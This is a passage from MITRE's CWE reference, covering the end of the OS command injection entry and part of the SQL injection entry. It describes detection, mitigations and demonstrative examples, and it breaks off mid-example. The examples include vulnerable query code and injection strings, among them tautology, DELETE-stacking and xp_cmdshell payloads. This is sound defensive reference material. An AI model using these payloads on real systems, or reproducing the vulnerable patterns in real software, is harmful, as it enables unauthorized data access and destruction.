Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Program Invocation
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 714 OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 727 OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 741 CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 744 CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 810 OWASP Top Ten 2010 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 845 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 875 CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 878 CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 929 OWASP Top Ten 2013 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1027 OWASP Top Ten 2017 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1134 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1165 SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1409 Comprehensive Categorization: Injection
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER OS Command Injection
OWASP Top Ten 2007 A3 CWE More Specific Malicious File Execution
OWASP Top Ten 2004 A6 CWE More Specific Injection Flaws
CERT C Secure Coding ENV03-C Sanitize the environment when invoking external programs
CERT C Secure Coding ENV33-C CWE More Specific Do not call system()
CERT C Secure Coding STR02-C Sanitize data passed to complex subsystems
WASC 31 OS Commanding
The CERT Oracle Secure Coding Standard for Java (2011) IDS07-J Do not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault Patterns SFP24 Tainted input to command
OMG ASCSM ASCSM-CWE-78
+ References
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>. URL validated: 2023-04-07.
[REF-685] Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. <https://web.archive.org/web/20100714032622/https://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>. URL validated: 2023-04-07.
[REF-686] Robert Auger. "OS Commanding". 2009-06. <http://projects.webappsec.org/w/page/13246950/OS%20Commanding>. URL validated: 2023-04-07.
[REF-687] Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. <https://www.w3.org/Security/Faq/wwwsf4.html>. URL validated: 2023-04-07.
[REF-688] Jordan Dimov, Cigital. "Security Issues in Perl Scripts". <https://www.cgisecurity.com/lib/sips.html>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
[REF-690] Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. <https://www.sans.org/blog/top-25-series-rank-9-os-command-injection/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-78. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1449] Cybersecurity and Infrastructure Security Agency. "Secure by Design Alert: Eliminating OS Command Injection Vulnerabilities". 2024-07-10. <https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-os-command-injection-vulnerabilities>. URL validated: 2024-07-14.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-01 KDM Analytics
added/updated white box definitions
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Description
2008-11-24 CWE Content Team MITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-01-12 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Name, Related_Attack_Patterns
2009-07-17 KDM Analytics
Improved the White_Box_Definition
2009-07-27 CWE Content Team MITRE
updated Description, Name, White_Box_Definitions
2009-10-29 CWE Content Team MITRE
updated Observed_Examples, References
2009-12-28 CWE Content Team MITRE
updated Detection_Factors
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-12-13 CWE Content Team MITRE
updated Description, Potential_Mitigations
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples, Description
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Observed_Examples, Potential_Mitigations
2014-02-18 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-09-19 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2020-06-25 CWE Content Team MITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2021-07-20 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Demonstrative_Examples
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated References
2023-01-31 CWE Content Team MITRE
updated Common_Consequences, Description
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Demonstrative_Examples, Description, Diagram, References
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 OS Command Injection
2009-01-12 Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')
2009-05-27 Failure to Preserve OS Command Structure (aka 'OS Command Injection')
2009-07-27 Failure to Preserve OS Command Structure ('OS Command Injection')
2010-06-21 Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 89
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Diagram for CWE-89
+ Alternate Terms
SQL injection:
a common attack-oriented phrase
SQLi:
a common abbreviation for "SQL injection"
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

Adversaries could execute system commands, typically by changing the SQL statement to redirect output to a file that can then be executed.
Confidentiality

Technical Impact: Read Application Data

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.
Authentication

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

If poor SQL commands are used to check user names and passwords or perform other kinds of authentication, it may be possible to connect to the product as another user with no previous knowledge of the password.
Access Control

Technical Impact: Bypass Protection Mechanism

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.
Integrity

Technical Impact: Modify Application Data

Just as it may be possible to read sensitive information, it is also possible to modify or even delete this information with a SQL injection attack.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 943 Improper Neutralization of Special Elements in Data Query Logic
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 564 SQL Injection: Hibernate
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 456 Missing Initialization of a Variable
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 137 Data Neutralization Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Nature Type ID Name
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 564 SQL Injection: Hibernate
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)
Nature Type ID Name
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 564 SQL Injection: Hibernate
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Implementation This weakness typically appears in data-rich applications that save user inputs in a database.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.


Example 2

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

(bad code)
Example Language: C# 
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

The query that this code intends to execute follows:

(informative)
 
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

(attack code)
 
name' OR 'a'='a

for itemName, then the query becomes the following:

(attack code)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

The addition of the:

(attack code)
 
OR 'a'='a

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

(attack code)
 
SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.


Example 3

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

(attack code)
 
name'; DELETE FROM items; --

for itemName, then the query becomes the following two queries:

(attack code)
Example Language: SQL 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

(attack code)
 
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a

Then the following three valid statements will be created:

(attack code)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

  • Target fields that are not quoted
  • Find ways to bypass the need for certain escaped meta-characters
  • Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

(bad code)
 
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';
end get_item;

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.


Example 4

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

(bad code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE

Where $user_input is taken from an untrusted source.

If the user provides the string:

(attack code)
 
'; exec master..xp_cmdshell 'dir' --

The query will take the following form:

(attack code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE

Now, this query can be broken down into:

  1. a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
  2. a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'
  3. an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.


Example 5

This code intends to print a message summary given the message ID.

(bad code)
Example Language: PHP 
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

(attack code)
 
1432' or '1' = '1

This would produce the resulting query:

(result)
 
